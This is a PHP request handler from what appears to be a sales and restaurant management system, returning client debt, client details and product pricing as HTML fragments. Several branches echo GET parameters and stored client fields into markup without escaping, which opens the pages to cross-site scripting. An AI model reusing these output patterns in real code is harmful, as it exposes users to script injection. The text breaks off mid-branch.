<?php

session_start();
ob_start();


//global varable
global $showoutside;

//to check if the page from .htacess
//$showoutside = $_GET['sn'];
// get the config file
include_once("../public/config.php");
include_once("initiateStaticSessionCommingWithCurl.php");
include_once("dailyentryfun.php");

//here the db files that include in the file
include("../public/include_dao.php");
//Sellbill
require_once('../models/dao/SellbillDAO.class.php');
require_once('../models/dto/Sellbill.class.php');
require_once('../models/mysql/SellbillMySqlDAO.class.php');
require_once('../models/mysql/ext/SellbillMySqlExtDAO.class.php');
//Sellbilldetail
require_once('../models/dao/SellbilldetailDAO.class.php');
require_once('../models/dto/Sellbilldetail.class.php');
require_once('../models/mysql/SellbilldetailMySqlDAO.class.php');
require_once('../models/mysql/ext/SellbilldetailMySqlExtDAO.class.php');
//Returnsellbill
require_once('../models/dao/ReturnsellbillDAO.class.php');
require_once('../models/dto/Returnsellbill.class.php');
require_once('../models/mysql/ReturnsellbillMySqlDAO.class.php');
require_once('../models/mysql/ext/ReturnsellbillMySqlExtDAO.class.php');
//Returnsellbilldetail
require_once('../models/dao/ReturnsellbilldetailDAO.class.php');
require_once('../models/dto/Returnsellbilldetail.class.php');
require_once('../models/mysql/ReturnsellbilldetailMySqlDAO.class.php');
require_once('../models/mysql/ext/ReturnsellbilldetailMySqlExtDAO.class.php');
//Storereport
require_once('../models/dao/StorereportDAO.class.php');
require_once('../models/dto/Storereport.class.php');
require_once('../models/mysql/StorereportMySqlDAO.class.php');
require_once('../models/mysql/ext/StorereportMySqlExtDAO.class.php');
//Storedetail
require_once('../models/dao/StoredetailDAO.class.php');
require_once('../models/dto/Storedetail.class.php');
require_once('../models/mysql/StoredetailMySqlDAO.class.php');
require_once('../models/mysql/ext/StoredetailMySqlExtDAO.class.php');
//Store
require_once('../models/dao/StoreDAO.class.php');
require_once('../models/dto/Store.class.php');
require_once('../models/mysql/StoreMySqlDAO.class.php');
require_once('../models/mysql/ext/StoreMySqlExtDAO.class.php');
//Product
require_once('../models/dao/ProductDAO.class.php');
require_once('../models/dto/Product.class.php');
require_once('../models/mysql/ProductMySqlDAO.class.php');
require_once('../models/mysql/ext/ProductMySqlExtDAO.class.php');
//Save
require_once('../models/dao/SaveDAO.class.php');
require_once('../models/dto/Save.class.php');
require_once('../models/mysql/SaveMySqlDAO.class.php');
require_once('../models/mysql/ext/SaveMySqlExtDAO.class.php');
//Savedaily
require_once('../models/dao/SavedailyDAO.class.php');
require_once('../models/dto/Savedaily.class.php');
require_once('../models/mysql/SavedailyMySqlDAO.class.php');
require_once('../models/mysql/ext/SavedailyMySqlExtDAO.class.php');
//Client
require_once('../models/dao/ClientDAO.class.php');
require_once('../models/dto/Client.class.php');
require_once('../models/mysql/ClientMySqlDAO.class.php');
require_once('../models/mysql/ext/ClientMySqlExtDAO.class.php');
//Clientdebtchange
require_once('../models/dao/ClientdebtchangeDAO.class.php');
require_once('../models/dto/Clientdebtchange.class.php');
require_once('../models/mysql/ClientdebtchangeMySqlDAO.class.php');
require_once('../models/mysql/ext/ClientdebtchangeMySqlExtDAO.class.php');
//Productunit
require_once('../models/dao/ProductunitDAO.class.php');
require_once('../models/dto/Productunit.class.php');
require_once('../models/mysql/ProductunitMySqlDAO.class.php');
require_once('../models/mysql/ext/ProductunitMySqlExtDAO.class.php');
//Productserial
require_once('../models/dao/ProductserialDAO.class.php');
require_once('../models/dto/Productserial.class.php');
require_once('../models/mysql/ProductserialMySqlDAO.class.php');
require_once('../models/mysql/ext/ProductserialMySqlExtDAO.class.php');
//Productcat
require_once('../models/dao/ProductcatDAO.class.php');
require_once('../models/dto/Productcat.class.php');
require_once('../models/mysql/ProductcatMySqlDAO.class.php');
require_once('../models/mysql/ext/ProductcatMySqlExtDAO.class.php');
//Billsetting
require_once('../models/dao/BillsettingsDAO.class.php');
require_once('../models/dto/Billsetting.class.php');
require_once('../models/mysql/BillsettingsMySqlDAO.class.php');
require_once('../models/mysql/ext/BillsettingsMySqlExtDAO.class.php');
//Sellandruternbilldetail
require_once('../models/dao/SellandruternbilldetailDAO.class.php');
require_once('../models/dto/Sellandruternbilldetail.class.php');
require_once('../models/mysql/SellandruternbilldetailMySqlDAO.class.php');
require_once('../models/mysql/ext/SellandruternbilldetailMySqlExtDAO.class.php');

//Sellbillandrutern
require_once('../models/dao/SellbillandruternDAO.class.php');
require_once('../models/dto/Sellbillandrutern.class.php');
require_once('../models/mysql/SellbillandruternMySqlDAO.class.php');
require_once('../models/mysql/ext/SellbillandruternMySqlExtDAO.class.php');

//Billname
require_once('../models/dao/BillnameDAO.class.php');
require_once('../models/dto/Billname.class.php');
require_once('../models/mysql/BillnameMySqlDAO.class.php');
require_once('../models/mysql/ext/BillnameMySqlExtDAO.class.php');

//Billproperty
require_once('../models/dao/BillpropertyDAO.class.php');
require_once('../models/dto/Billproperty.class.php');
require_once('../models/mysql/BillpropertyMySqlDAO.class.php');
require_once('../models/mysql/ext/BillpropertyMySqlExtDAO.class.php');
//Usergroup
require_once('../models/dao/UsergroupDAO.class.php');
require_once('../models/dto/Usergroup.class.php');
require_once('../models/mysql/UsergroupMySqlDAO.class.php');
require_once('../models/mysql/ext/UsergroupMySqlExtDAO.class.php');
//Restauranthall
require_once('../models/dao/RestauranthallDAO.class.php');
require_once('../models/dto/Restauranthall.class.php');
require_once('../models/mysql/RestauranthallMySqlDAO.class.php');
require_once('../models/mysql/ext/RestauranthallMySqlExtDAO.class.php');
//Restauranttable
require_once('../models/dao/RestauranttableDAO.class.php');
require_once('../models/dto/Restauranttable.class.php');
require_once('../models/mysql/RestauranttableMySqlDAO.class.php');
require_once('../models/mysql/ext/RestauranttableMySqlExtDAO.class.php');
//Restaurantorder
require_once('../models/dao/RestaurantorderDAO.class.php');
require_once('../models/dto/Restaurantorder.class.php');
require_once('../models/mysql/RestaurantorderMySqlDAO.class.php');
require_once('../models/mysql/ext/RestaurantorderMySqlExtDAO.class.php');
//Restaurantorderdetail
require_once('../models/dao/RestaurantorderdetailsDAO.class.php');
require_once('../models/dto/Restaurantorderdetail.class.php');
require_once('../models/mysql/RestaurantorderdetailsMySqlDAO.class.php');
require_once('../models/mysql/ext/RestaurantorderdetailsMySqlExtDAO.class.php');
//Restaurantkitchenprint
require_once('../models/dao/RestaurantkitchenprintDAO.class.php');
require_once('../models/dto/Restaurantkitchenprint.class.php');
require_once('../models/mysql/RestaurantkitchenprintMySqlDAO.class.php');
require_once('../models/mysql/ext/RestaurantkitchenprintMySqlExtDAO.class.php');
//Restaurantorderdeliverydetail
require_once('../models/dao/RestaurantorderdeliverydetailsDAO.class.php');
require_once('../models/dto/Restaurantorderdeliverydetail.class.php');
require_once('../models/mysql/RestaurantorderdeliverydetailsMySqlDAO.class.php');
require_once('../models/mysql/ext/RestaurantorderdeliverydetailsMySqlExtDAO.class.php');

//
require_once('../models/dao/SizecolorDAO.class.php');
require_once('../models/dto/Sizecolor.class.php');
require_once('../models/mysql/SizecolorMySqlDAO.class.php');
require_once('../models/mysql/ext/SizecolorMySqlExtDAO.class.php');
//
require_once('../models/dao/SizecolorstoredetailDAO.class.php');
require_once('../models/dto/Sizecolorstoredetail.class.php');
require_once('../models/mysql/SizecolorstoredetailMySqlDAO.class.php');
require_once('../models/mysql/ext/SizecolorstoredetailMySqlExtDAO.class.php');

//Restaurantplaystationplay
require_once('../models/dao/RestaurantplaystationplayDAO.class.php');
require_once('../models/dto/Restaurantplaystationplay.class.php');
require_once('../models/mysql/RestaurantplaystationplayMySqlDAO.class.php');
require_once('../models/mysql/ext/RestaurantplaystationplayMySqlExtDAO.class.php');
//Simplemanufacturesetting
require_once('../models/dao/SimplemanufacturesettingDAO.class.php');
require_once('../models/dto/Simplemanufacturesetting.class.php');
require_once('../models/mysql/SimplemanufacturesettingMySqlDAO.class.php');
require_once('../models/mysql/ext/SimplemanufacturesettingMySqlExtDAO.class.php');

//Programsetting
require_once('../models/dao/ProgramsettingsDAO.class.php');
require_once('../models/dto/Programsetting.class.php');
require_once('../models/mysql/ProgramsettingsMySqlDAO.class.php');
require_once('../models/mysql/ext/ProgramsettingsMySqlExtDAO.class.php');


//Productunit
require_once('../models/dao/ProductunitDAO.class.php');
require_once('../models/dto/Productunit.class.php');
require_once('../models/mysql/ProductunitMySqlDAO.class.php');
require_once('../models/mysql/ext/ProductunitMySqlExtDAO.class.php');


//expense
require_once('../models/dao/ExpensesDAO.class.php');
require_once('../models/dto/Expense.class.php');
require_once('../models/mysql/ExpensesMySqlDAO.class.php');
require_once('../models/mysql/ext/ExpensesMySqlExtDAO.class.php');

//expensecat
require_once('../models/dao/ExpensestypeDAO.class.php');
require_once('../models/dto/Expensestype.class.php');
require_once('../models/mysql/ExpensestypeMySqlDAO.class.php');
require_once('../models/mysql/ext/ExpensestypeMySqlExtDAO.class.php');

//Bankaccount
require_once('../models/dao/BankaccountDAO.class.php');
require_once('../models/dto/Bankaccount.class.php');
require_once('../models/mysql/BankaccountMySqlDAO.class.php');
require_once('../models/mysql/ext/BankaccountMySqlExtDAO.class.php');
//Availableparcode
require_once('../models/dao/AvailableparcodeDAO.class.php');
require_once('../models/dto/Availableparcode.class.php');
require_once('../models/mysql/AvailableparcodeMySqlDAO.class.php');
require_once('../models/mysql/ext/AvailableparcodeMySqlExtDAO.class.php');
//Billtemplate
require_once('../models/dao/BilltemplateDAO.class.php');
require_once('../models/dto/Billtemplate.class.php');
require_once('../models/mysql/BilltemplateMySqlDAO.class.php');
require_once('../models/mysql/ext/BilltemplateMySqlExtDAO.class.php');
//Billtemplatedetail
require_once('../models/dao/BilltemplatedetailDAO.class.php');
require_once('../models/dto/Billtemplatedetail.class.php');
require_once('../models/mysql/BilltemplatedetailMySqlDAO.class.php');
require_once('../models/mysql/ext/BilltemplatedetailMySqlExtDAO.class.php');

//get the do the action
$do = $_GET['do'];

/* ======================


  ======================== */

//here goes the instances and general variables
//Sellbill
$mySellbill = new Sellbill();
$mySellbillRecord = new SellbillMySqlDAO();
$mySellbillEx = $sellBillEX = new SellbillMySqlExtDAO();
//Sellbilldetail
$mySellbilldetail = new Sellbilldetail();
$mySellbilldetailRecord = new SellbilldetailMySqlDAO();
$mySellbilldetailEx = new SellbilldetailMySqlExtDAO();
//Returnsellbill
$myReturnsellbill = new Returnsellbill();
$myReturnsellbillRecord = new ReturnsellbillMySqlDAO();
$myReturnsellbillEx = new ReturnsellbillMySqlExtDAO();
//Returnsellbilldetail
$myReturnsellbilldetail = new Returnsellbilldetail();
$myReturnsellbilldetailRecord = new ReturnsellbilldetailMySqlDAO();
$myReturnsellbilldetailEx = new ReturnsellbilldetailMySqlExtDAO();
//Storereport
$myStorereport = new Storereport();
$myStorereportRecord = new StorereportMySqlDAO();
$myStorereportEx = $storeReportExt = new StorereportMySqlExtDAO();
//Storedetail
$myStoredetail = new Storedetail();
$myStoredetailEx = $storeDetailExt = new StoredetailMySqlExtDAO();
$myStoredetailRecord = new StoredetailMySqlDAO();
//Store
$myStoreRecord = new StoreMySqlDAO();
//Product
$myProduct = new Product();
$myProductRecord = $productDAO = new ProductMySqlDAO();
$myProductEx = $productExt = new ProductMySqlExtDAO();
//save
$mySave = new Save();
$mySaveRecord = $mySaveDAO = new SaveMySqlDAO();
$mySaveEx = new SaveMySqlExtDAO();
//savedaily
$mySavedaily = new Savedaily();
$mySavedailyRecord = new SavedailyMySqlDAO();
$mySavedailyEx = new SavedailyMySqlExtDAO();
//Client
$myClient = new Client();
$myClientRecord = new ClientMySqlDAO();
//Clientdebtchange
$myClientdebtchange = $clientDeptChange = new Clientdebtchange();
$myClientdebtchangeRecord = $clientDeptChangeDAO = new ClientdebtchangeMySqlDAO();
$clientDeptChangeExt = new ClientdebtchangeMySqlExtDAO();
//Productunit
$myProductunit = new Productunit();
$myProductunitEx = new ProductunitMySqlExtDAO();
$myProductunitRecord = new ProductunitMySqlDAO();
//Productserial
$myProductserialDao = new ProductserialMySqlDAO();
$myProductserialEx = new ProductserialMySqlExtDAO();
//Productcat
$myProductcatRecord = $productCatDAO = new ProductcatMySqlDAO();
$myProductcatEx = $productCatExt = new ProductcatMySqlExtDAO();
//Billsetting
$myBillsettingEx = new BillsettingsMySqlExtDAO();

//Sellbillandrutern
$Sellbillandrutern = new Sellbillandrutern();
$SellbillandruternDAO = new SellbillandruternMySqlDAO();
$SellbillandruternEX = new SellbillandruternMySqlExtDAO();
//Sellandruternbilldetail
$mySellandruternbilldetail = new Sellandruternbilldetail();
$mySellandruternbilldetailRecord = new SellandruternbilldetailMySqlDAO();
$mySellandruternbilldetailEx = new SellandruternbilldetailMySqlExtDAO();

//Client
$client = new Client();
$clientDAO = $myClientRecord = new ClientMySqlDAO();
$clientExt = $clientEX = new ClientMySqlExtDAO();

//Store
$store = new Store();
$storeDAO = new StoreMySqlDAO();
$storeEX = new StoreMySqlExtDAO();

//User
$user = new User();
$userDAO = new UserMySqlDAO();
$userEX = new UserMySqlExtDAO();

//Billname
$myBillnameRecord = new BillnameMySqlDAO();
$myBillnameEx = new BillnameMySqlExtDAO();
//Billproperty
$Billproperty = new Billproperty();
$BillpropertyDAO = new BillpropertyMySqlDAO();
$BillpropertyEX = new BillpropertyMySqlExtDAO();

//Programsetting
$programSettingDAO = new ProgramsettingsMySqlDAO();
$programSettingEx = new ProgramsettingsMySqlExtDAO();

//Usergroup
$Usergroup = new Usergroup();
$UsergroupDAO = new UsergroupMySqlDAO();
$UsergroupEX = new UsergroupMySqlExtDAO();
//Restauranthall
$restaurantHall = new Restauranthall();
$restaurantHallDAO = new RestauranthallMySqlDAO();
$restaurantHallEX = new RestauranthallMySqlExtDAO();
//Restauranttable
$restaurantTable = new Restauranttable();
$restaurantTableDAO = new RestauranttableMySqlDAO();
$restaurantTableEX = new RestauranttableMySqlExtDAO();
//Restaurantorder
$restaurantOrder = new Restaurantorder();
$restaurantOrderDAO = new RestaurantorderMySqlDAO();
$restaurantOrderEX = new RestaurantorderMySqlExtDAO();
//Restaurantorderdetail
$restaurantOrderDetails = new Restaurantorderdetail();
$restaurantOrderDetailsDAO = new RestaurantorderdetailsMySqlDAO();
$restaurantOrderDetailsEX = new RestaurantorderdetailsMySqlExtDAO();
//Restaurantkitchenprint
$restaurantkitchenprint = new Restaurantkitchenprint();
$restaurantkitchenprintDAO = new RestaurantkitchenprintMySqlDAO();
$restaurantkitchenprintEX = new RestaurantkitchenprintMySqlExtDAO();
//Restaurantorderdeliverydetail
$restaurantOrderDeliveryDetail = new Restaurantorderdeliverydetail();
$restaurantOrderDeliveryDetailDAO = new RestaurantorderdeliverydetailsMySqlDAO();
$restaurantOrderDeliveryDetailEX = new RestaurantorderdeliverydetailsMySqlExtDAO();
//Relusergrouppropertie
$myRelusergrouppropertie = new Relusergrouppropertie();
$myRelusergrouppropertieRecord = new RelusergrouppropertiesMySqlDAO();
$myRelusergrouppropertieExt = new RelusergrouppropertiesMySqlExtDAO();

//
$sizeColor = new Sizecolor();
$sizeColorDAO = new SizecolorMySqlDAO();
$sizeColorEX = new SizecolorMySqlExtDAO();
//
$sizeColorStoreDetail = new Sizecolorstoredetail();
$sizeColorStoreDetailDAO = new SizecolorstoredetailMySqlDAO();
$sizeColorStoreDetailEX = new SizecolorstoredetailMySqlExtDAO();
//Restaurantplaystationplay
$restaurantPlaystationPlay = new Restaurantplaystationplay();
$restaurantPlaystationPlayDAO = new RestaurantplaystationplayMySqlDAO();
$restaurantPlaystationPlayEX = new RestaurantplaystationplayMySqlExtDAO();
//
$simplesetting = new Simplemanufacturesetting();
$simplesettingDao = new SimplemanufacturesettingMySqlDAO();
$simplesettingExt = new SimplemanufacturesettingMySqlExtDAO();


//Productunit
$myProductunitEx = new ProductunitMySqlExtDAO();
$myProductunitRecord = new ProductunitMySqlDAO();

//Expensetype
$ExpensetypeDAO = new ExpensestypeMySqlDAO();
$Expensetype = new Expensestype();
$ExpensetypeExt = new ExpensestypeMySqlExtDAO();
//Expenses
$ExpenseDAO = new ExpensesMySqlDAO();
$Expense = new Expense();
$ExpenseExt = new ExpensesMySqlExtDAO();

//Bankaccount
$myBankaccount = new Bankaccount();
$myBankaccountRecord = new BankaccountMySqlDAO();
$myBankaccountEx = new BankaccountMySqlExtDAO();

//Accountmovement
$myAccountmovement = new Accountmovement();
$myAccountmovementRecord = new AccountmovementMySqlDAO();
$myAccountmovementExt = new AccountmovementMySqlExtDAO();
//Availableparcode
$availableParcode = new Availableparcode();
$availableParcodeDAO = new AvailableparcodeMySqlDAO();
$availableParcodeEX = new AvailableparcodeMySqlExtDAO();
//Billtemplate
$billTemplate = new Billtemplate();
$billTemplateDAO = new BilltemplateMySqlDAO();
$billTemplateEX = new BilltemplateMySqlExtDAO();
//Billtemplatedetail
$billTemplateDetail = new Billtemplatedetail();
$billTemplateDetailDAO = new BilltemplatedetailMySqlDAO();
$billTemplateDetailEX = new BilltemplatedetailMySqlExtDAO();

$db_host = ConnectionProperty::getHost();
$db_user = ConnectionProperty::getUser();
$passd = ConnectionProperty::getPassword();
$dbname = ConnectionProperty::getDatabase();
//
$clientId = isset($_GET['clientid']) ? $_GET['clientid'] : '';
$productId = isset($_GET['productid']) ? $_GET['productid'] : '';
$itr = isset($_GET['itrs']) ? $_GET['itrs'] : '';
$tabindex = isset($_GET['tabindex']) ? $_GET['tabindex'] : '';
$storeId = isset($_GET['storeid']) ? $_GET['storeid'] : '';
$productUnit = isset($_GET['productunit']) ? $_GET['productunit'] : '';
$priceType = isset($_GET['pricetype']) ? $_GET['pricetype'] : '';
$parcode = isset($_GET['parcode']) ? $_GET['parcode'] : '';
$billnameid = isset($_GET['billnameid']) ? $_GET['billnameid'] : '';


//$parcode = str_replace(' ', '', $parcode); //remove spaces from parcode
$parcode = preg_replace('/\s+/', '', $parcode); //For all whitespace (including tabs and line ends), use preg_replace



$Usergroupdata = $UsergroupDAO->load($_SESSION['usergroupid']);
$smarty->assign("Usergroupdata", $Usergroupdata);

$Programsettingdata = $programSettingDAO->load(1);
$Programsettingdata->restaurantServiceOn = explode(',', $Programsettingdata->restaurantServiceOn);
$smarty->assign("Programsettingdata", $Programsettingdata);
$noOfDecimalPlaces = 2; //($Programsettingdata->roundnumbers == 0) ? 0 : (int) $Programsettingdata->noOfDecimalPlaces;

$lastLevelCatIDS = array();
$lastLevelCats = array();
$catsIDS = "";
if ($do == "getclientdebt" && isset($clientId) && $clientId != "-1") {
    // here the function that do the action
    $clientDebt = getclientdebt($clientId);
    echo $clientDebt;
} elseif ($do == "getclientdebtlimit" && isset($clientId) && $clientId != "-1") {
    $debtLimit = getclientdebtlimit($clientId);
    echo json_encode(array('debtLimit' => $debtLimit, 'clientDefaultDebtLimitControl' => $Programsettingdata->clientDefaultDebtLimitControl));
} elseif ($do == "clientstore") {
    $storeData = getSellStores();
    //$data = '<div  style="display:none">
    //    '<label class="col-lg-4 control-label">المخزن</label>
    //                            <div class="col-lg-8">
    //                            <select class = "select2 wdt100" name = "storeid" id = "storeid" >';
    $data = '';
    $data2 = '';
    foreach ($storeData as $store) {
        $data .= '  <option value = "' . $store->storeId . '">' . $store->storeName . '</option>';
        $data2 .= $store->storeName . ' ';
    }
    //    $data .=' </select > </div>';
    //         </div>';
    $userdata = $userDAO->load($_SESSION['userid']);

    echo $data . ',,,,,' . $data2 . ',,,,,' . $storeData[0]->storeId . ',,,,,' . $userdata->userstoreidDef;
} elseif ($do == "getclientdata" && isset($clientId) && $clientId != "-1") {


    // here the function that do the action
    $clientData = $myClientRecord->load($clientId);

    $mobile = '';
    if ($clientData->clientmobile != '')
        $mobile = ' - ' . $clientData->clientmobile;
    echo '<div class = "form-group" >
            <label class = "col-lg-3 control-label">عنوان العميل</label>
            <div class = "col-lg-4">' . $clientData->clientaddress . ' </div>
          </div>
        <div class = "form-group" >
          <label class = "col-lg-3 control-label">رقم التليفون</label>
          <div class = "col-lg-4"> ' . $clientData->clientphone . ' ' . $mobile . '</div>
        </div>
        <div class = "form-group" >
            <label class = "col-lg-3 control-label">كود العميل</label>
            <div class = "col-lg-4">' . $clientData->clientcode . '</div>
        </div>  <!-- note this closing was not here before i reformat the code ........ -->
        <div id="tempCommentAz" style="display:none">
            <div class = "form-group" >
                <label class = "col-lg-4 control-label">' . $Programsettingdata->commentClient . '</label>
                <div class = "col-lg-4">' . $clientData->clientdetails . ' </div> </div>
        </div>';
} elseif ($do == "getclientcommentAZ" && isset($clientId) && $clientId != "-1") {


    // here the function that do the action
    $clientData = $myClientRecord->load($clientId);
    echo ' <div class = "form-group" > <label class = "col-lg-4 control-label">' . $Programsettingdata->commentClient . '</label> <div class = "col-lg-4">' . $clientData->clientdetails . ' </div> </div>';
} elseif ($do == "getclientDebtAndDataAndcommentAZ" && isset($clientId) && $clientId != "-1") {


    // here the function that do the action
    $clientData = $myClientRecord->load($clientId);

    //this conversion to help json_encode
    $clientData->clientaddress = mb_convert_encoding($clientData->clientaddress, 'UTF-8', 'UTF-8');
    $clientData->clientphone = mb_convert_encoding($clientData->clientphone, 'UTF-8', 'UTF-8');
    $clientData->clientcode = mb_convert_encoding($clientData->clientcode, 'UTF-8', 'UTF-8');
    $clientData->clientdetails = mb_convert_encoding($clientData->clientdetails, 'UTF-8', 'UTF-8');
    $Programsettingdata->commentClient = mb_convert_encoding($Programsettingdata->commentClient, 'UTF-8', 'UTF-8');
    $data = array();
    $data['clientData'] = ' <div class = "form-group" > <label class = "col-lg-3 control-label">عنوان العميل</label> <div class = "col-lg-4">' . $clientData->clientaddress . ' </div> </div> <div class = "form-group" ><label class = "col-lg-3 control-label">رقم التليفون</label>'
            . ' <div class = "col-lg-4"> ' . $clientData->clientphone . ' </div> </div> <div class = "form-group" > <label class = "col-lg-3 control-label">كود العميل</label> <div class = "col-lg-4">
                    ' . $clientData->clientcode . ' </div>';
    $data['clientComment'] = ' <div class = "form-group" > <label class = "col-lg-4 control-label">' . $Programsettingdata->commentClient . '</label> <div class = "col-lg-4">' . $clientData->clientdetails . ' </div> </div>';
    $data['clientDebt'] = $clientData->clientdebt;
    echo json_encode($data);
} elseif ($do == "clientprice") {
    $id = $_REQUEST["id"];
    $allselldata = $mySellbillEx->loadlastSellBillByclient($id);
    $allsellandreturndata = $SellbillandruternEX->loadlastSellBillByclient($id);

    if (count($allsellandreturndata) > 0 || count($allselldata) > 0) {
        if ($allselldata->sellbilldate >= $allsellandreturndata->sellbilldate) {

            //echo $allselldata->sellbillid;

            $mydata = $mySellbilldetailEx->loadlastpriceforclient($allselldata->sellbillid);
            echo $mydata->pricetype;
        } else {
            //echo $allsellandreturndata->sellbillid;
            $mydata = $mySellandruternbilldetailEx->loadlastpriceforclient($allsellandreturndata->sellbillid);
            echo $mydata->pricetype;
        }
    } else {
        echo -1;
    }
} elseif ($do == "getproduct" && isset($storeId) && $storeId != "-1") {
    $productData = loadProduct($storeId);
    $smarty->assign("productData", $productData);
    $smarty->display("sellbillview/storedetail.html");
} elseif ($do == "getproductbyParcode" && isset($storeId) && $storeId != "-1" && isset($parcode) && $parcode != "") {
    $productData = loadProductByParcodeAndStoreId($storeId, $parcode);

    $productId = $productData->productid;
    echo $productId;
} elseif ($do == "getproductNamebyOnlyParcode" && isset($parcode) && $parcode != "" && isset($billnameid) && $billnameid != "") {
    //loadProductByParcodeAndDon($parcode, 0);
    loadProductByParcodeAndDonExt($parcode, $billnameid, 0);
} elseif ($do == "getReturnproductNamebyOnlyParcode" && isset($parcode) && $parcode != "" && isset($billnameid) && $billnameid != "") {
    //loadProductByParcodeAndDon($parcode, 1);
    loadProductByParcodeAndDonExt($parcode, $billnameid, 1);
} elseif ($do == "getprice" && isset($productId) && $productId != "-1" && isset($storeId) && $storeId != "-1" && isset($productUnit) && $productUnit != "-1" && isset($priceType) && $priceType != "-1") {
    // here the function that do the action
    $productPriceData = getProoductPrice($productId, $storeId);

    $productData = $productPriceData[0];
    //تجزئة
    if ($priceType == 1) {
        $price = $productData->productSellUnitPrice;
    }
    //جملة
    elseif ($priceType == 0) {
        $price = $productData->productSellAllPrice;
    }
    //نصف جملة
    elseif ($priceType == 2) {
        $price = $productData->productSellHalfPrice;
    }

    $productnumberData = $myProductunitRecord->load($productUnit);
    $productnumber = $productnumberData->productnumber;

    $productPrice = $price * $productnumber;

    $quantity = $productPriceData[1];

    echo '<input name = "proprice' . $itr . '" id = "proprice' . $itr . '" value = "' . $productPrice . '" class = "getprototal wd50 aw_m aw_mt aw_pp numberclic enteraction positiveNo" type = "text" tabindex = "' . $tabindex . '" /><input name = "quantity' . $itr . '" id = "quantity' . $itr . '" type = "hidden" value = "' . $quantity . '" size = "7" readonly />';
} elseif ($do == "getpriceByOnlyProduct" && isset($productId) && $productId != "-1" && isset($productUnit) && $productUnit != "-1" && isset($priceType) && $priceType != "-1") {

    // here the function that do the action
    //$productData = getProoductPriceByonlyProductId($productId);
    if (strpos($productId, "hasSizeColor") !== false) {
        $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
        $productId = $productIdComplex[0];
    }
    $productData = getProoductPriceByProductunit($productId, $productUnit);

    //تجزئة
    if ($priceType == 1) {
        $price = $productData->productSellUnitPrice;
    }
    //جملة
    elseif ($priceType == 0) {
        $price = $productData->productSellAllPrice;
    }
    //نصف جملة
    elseif ($priceType == 2) {
        $price = $productData->productSellHalfPrice;
    }

    if ($productData->selldiscount > 0 && $productData->discounttype == 0) {
        $productPrice = $price - $productData->selldiscount;
    } elseif ($productData->selldiscount > 0 && $productData->discounttype == 1) {
        $productPrice = $price - ((($productData->selldiscount) / 100) * ($price));
    } else {
        $productPrice = $price;
    }

    //    $productnumberData = $myProductunitRecord->load($productUnit);
    //    $productnumber = $productnumberData->productnumber;
    //    $productPrice = $productPrice * $productnumber;
    ##default values of $pricehtml and $discounthtml are zero
    $pricehtml = '<input type = "text" name = "proprice' . $itr . '" id = "proprice' . $itr . '" class = "form-control getprototal enteraction numberinput txt-nonraduis positivefloat" value = "' . $productPrice . '" tabindex = "' . $tabindex . '" />
                    <input name = "quantity' . $itr . '" id = "quantity' . $itr . '" type = "hidden" value = "" size = "7" readonly />
                    <input name = "productpricetype' . $itr . '" id = "productpricetype' . $itr . '" type = "hidden" value = "0" size = "7" readonly />';
    $discounthtml = '<input type="hidden" id="lastClientDisVal' . $itr . '" value="0"/>
                     <input type="hidden" id="lastClientDisPer' . $itr . '" value="0"/>';

    if (isset($clientId) && $clientId != "" && $clientId != "-2" && $clientId != "1" && ($Programsettingdata->showPrevPrices == 0 || $Programsettingdata->showPrevDiscount == 1)) {
        $sellbilldetailData = getProductPriceFromSellBill($productId, $clientId, $productUnit);

        // if has selldata and setting want to use last price data
        if (count($sellbilldetailData[0]) > 0 && $Programsettingdata->showPrevPrices == 0) {
            $pricehtml = '<input type = "text" name = "proprice' . $itr . '" id = "proprice' . $itr . '" class = "form-control getprototal enteraction numberinput txt-nonraduis positivefloat" value = "' . $sellbilldetailData[1] . '" tabindex = "' . $tabindex . '" />
                    <input name = "quantity' . $itr . '" id = "quantity' . $itr . '" type = "hidden" value = "" size = "7" readonly />
                    <input name = "productpricetype' . $itr . '" id = "productpricetype' . $itr . '" type = "hidden" value = "1" size = "7" readonly />';
        }
        // if has selldata and setting want to use last discount data
        if (count($sellbilldetailData[0]) > 0 && $Programsettingdata->showPrevDiscount == 1) {
            $discounthtml = '<input type="hidden" id="lastClientDisVal' . $itr . '" value="' . $sellbilldetailData[0]->discountvalue . '"/>
                             <input type="hidden" id="lastClientDisPer' . $itr . '" value="' . $sellbilldetailData[0]->discounttype . '"/>';
        }
    }
    echo $pricehtml . $discounthtml;
} elseif ($do == "getunit" && isset($productId) && $productId != "-1") {

    $productunitData = loadProductUnit($productId, $parcode);
    //$smarty->assign("productunitData",$productunitData);

    $smarty->assign("tabindex", $tabindex);
    $smarty->assign("itr", $itr);
    //$smarty->display("sellbillview/productunit.html");
} elseif ($do == "checkClientSoldBefore") {
    $clientId = (int) $_POST['client'];
    $productsIDs = $_POST['products'];
    $notSoldBeforeProducts = '';
    if ($clientId > 0 && !empty($productsIDs)) {
        $productsIDs = array_unique(explode(",", $productsIDs));
        //$productunitData = loadProductUnit($productId, $parcode);
        foreach ($productsIDs as $productId) {
            if ($productId > 0) {
                $sellbilldetailData = getProductPriceFromSellBill($productId, $clientId, 0);
                if (count($sellbilldetailData[0]) == 0) {
                    $notSoldBeforeProducts .= $productId . ',';
                }
            }
        }
        $notSoldBeforeProducts = rtrim($notSoldBeforeProducts, ',');
    }
    echo $notSoldBeforeProducts;
} elseif ($do == "getparcode" && isset($productId) && $productId != "-1") {

} elseif ($do == "getProductQuantity" && isset($productId) && $productId != "-1" && $productId != "" && isset($storeId) && $storeId != "" && $storeId != "-1") {

    $productData = getProoductPrice($productId, $storeId);

    $quantity = $productData[1];
    // if it is service quantity is zero , so give it quantity to stop quantity check alert
    if ($productData[0]->isService == 1) {
        $quantity = 100;
    }

    echo $quantity;
} elseif ($do == "updateshippingDate") {
    $shippingDate = $_POST['shippingDate'];
    $billId = (int) $_POST['id'];
    $mySellbillEx->updateshippingDate($shippingDate, $billId);
    echo 1;
} elseif ($do == "productAvailableParcodes") {
    $name = $_GET['term']; //It could be product name or category name
    $productId = (isset($_GET['pro']) && !empty($_GET['pro'])) ? $_GET['pro'] : 0;
    $storeId = (isset($_GET['store']) && !empty($_GET['store'])) ? $_GET['store'] : 0;
    $sizeId = 0;
    $colorId = 0;
    if (strpos($productId, "hasSizeColor") !== false) {
        $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
        $productId = $productIdComplex[0];
        $sizeId = $productIdComplex[1];
        $colorId = $productIdComplex[2];
    }


    $availableSerials = $myProductserialEx->getProductAvailableParcodes($productId, $sizeId, $colorId, $storeId);

    $row_array = array();
    $return_arr = array();


    if (count($availableSerials) > 0) {
        $i = 1;
